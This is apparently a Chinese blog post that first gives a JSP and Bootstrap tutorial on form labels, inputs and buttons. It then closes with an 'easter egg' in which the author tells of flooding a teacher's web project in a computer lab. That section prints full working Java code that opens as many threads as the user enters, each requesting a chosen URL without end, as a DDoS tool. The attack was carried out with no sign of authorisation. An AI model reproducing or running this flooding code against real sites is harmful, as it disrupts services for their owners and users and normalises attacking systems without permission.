专栏首页mathorlabel、input、button的用法(结尾有彩蛋)

label、input、button的用法(结尾有彩蛋)

 先引入bootstrap,为了防止每个网页都引入,单独把引入bootstrap写成一个网页,然后在其他网页中用jsp:include动态包含

<!-- res.jsp -->
<%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%>
<%
String path = request.getContextPath();
String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";
%>
<link rel = "stylesheet" type = "text/css" 
      href = "ReSources/bootstrap/css/bootstrap.min.css">

 然后写input.jsp页面,注意第19行动态包含了res.jsp页面

<%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%>
<%
String path = request.getContextPath();
String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";
%>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
  <head>
    <base href="<%=basePath%>">
    
    <title>My JSP 'input.jsp' starting page</title>
    
    <meta http-equiv="pragma" content="no-cache">
    <meta http-equiv="cache-control" content="no-cache">
    <meta http-equiv="expires" content="0">    
    <meta http-equiv="keywords" content="keyword1,keyword2,keyword3">
    <meta http-equiv="description" content="This is my page">
    <jsp:include page = "../res.jsp"/>
  </head>
  
  <body class = "container">
    <div>
        <h3 class = "page-header">request.getPramater()的用法</h3>
        <form action = "" class = "form-horizontal">
            <div class = "form-group">
                <label class = "col-md-3 control-label">学号:</label>
                <div class = "col-md-5">
                    <input type = "text" class = "form-control" placeholder="123456">
                </div>
            </div>
            <div class = "form-group">
                <label class = "col-md-3 control-label">姓名:</label>
                <div class = "col-md-5">
                    <input type = "text" class = "form-control" placeholder="张三">
                </div>
            </div>
            <div class = "form-group">
                <div class = "col-md-offset-3 col-md-5">
                    <button type = "submit" class = "btn btn-primary">提交</button>
                </div>
            </div>
        </form>
    </div>
  </body>
</html>

彩蛋

 其实上面的内容都不重要,老师在机房给我们上课的时候,我试了一下访问老师的jsp项目,居然成功了,我突然想到一个点子,利用java起很多线程去访问老师的web项目模拟DDOS,结果不出意料的成功了,先附上代码,下面讲解一下这个代码

import java.io.*;
import java.net.*;
import java.util.Scanner;

public class DDOS implements Runnable {
    private static String strUrl = null;
    private static long numL = 0L;
    private static Scanner scanner = new Scanner(System.in);

    public void run() {
        HttpURLConnection connection = null;
        InputStream urlStream = null;
        URL url = null;
        while (true)
            try {
                url = new URL(strUrl + numL);
                connection = (HttpURLConnection) url.openConnection();
                connection.connect();
                urlStream = connection.getInputStream();
                if (urlStream != null) {
                    numL += 1L;
                    urlStream.close();
                    System.out.print("\t" + numL);
                    if (numL % 30L == 0L)
                        System.out.println();
                }
                Thread.sleep(10L);
            } catch (InterruptedException e) {
                while (true) {
                    e.getMessage();
                    try {
                        Thread.sleep(1000L);
                    } catch (InterruptedException ie) {
                        ie.printStackTrace();
                    }
                }
            } catch (MalformedURLException e) {
                e.printStackTrace();
            } catch (IOException e) {
                e.printStackTrace();
            }
    }

    public static void main(String[] args) throws MalformedURLException {
        System.out.println("");
        int threadNum;
        while (true) {
            System.out.println("线程数:");
            threadNum = scanner.nextInt();
            System.out.println("网址:");
            String str = scanner.next();
            strUrl = str;
            if (str.indexOf("?") >= 0)
                strUrl += "&num=";
            else
                strUrl += "?num=";
            System.out.println("--------------------------------------");
            System.out.println("线程数:" + threadNum);
            System.out.println("地址:" + str);
            System.out.println("请再次确认(Y/N):");
            String tmp = scanner.next();
            if ("Y".equalsIgnoreCase(tmp))
                break;
            if ("N".equalsIgnoreCase(tmp))
                continue;
            System.out.println("输入错误,请重新输入(Y/N):");
        }
        for (int i = 0; i < threadNum; ++i) {
            DDOS at = new DDOS();
            Thread t = new Thread(at);
            t.start();
        }
    }
}

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • FileInput(Output)Stream

    mathor
  • JAVA——基本数据类型

    mathor
  • Map

    mathor
  • 使用pycharm或idea提交项目到github

    遇到提示信息直接回车即可(为了方便,这里不设置密码,改密码是ssh提交时的密码,该密码与github无关)。

    程序员一一涤生
  • 大数据-Hadoop介绍

    Hadoop是一个分布式系基础框架,它允许使用简单的编程模型跨大型计算机的大型数据集进行分布式处理.

    cwl_java
  • windows系统下Java中:检测\r和\n对应的ASCII值的方法

    windows系统下Java中:检测\r和\n对应的ASCII值的方法:使用 \r字符和\n字符 与 0 做加法

    黑泽君
  • 对bootstrap框架的一些测试(1)

    bootstrap的栅格系统,默认将整个屏幕放在一个“container”容器中,然后以row为子元素,将‘col‘作为直接子元素,把整个屏幕分成12份,然后对...

    HUBU生信
  • Java1.8新特性 -- Srream流

    元素流在管道中经过中间操作(intermediate operation)的处理,最后由最终操作(terminal operation)得到前面处理的结果。其...

    Java深度编程
  • WPF效果第一百四十二篇之拖放更换头像

    周末了,无意间翻到了别人的关于更新头像的软文,这不正好趁着休息也来尝试一下,最终效果:

    WPF程序员
  • linux下的shell脚本编程

    Shell本身是一个用C语言编写的程序,它是用户使用Unix/Linux的桥梁,用户的大部分工作都是通过Shell完成的。Shell既是一种命令语言,又是一种程...

    笔阁

扫码关注云+社区

领取腾讯云代金券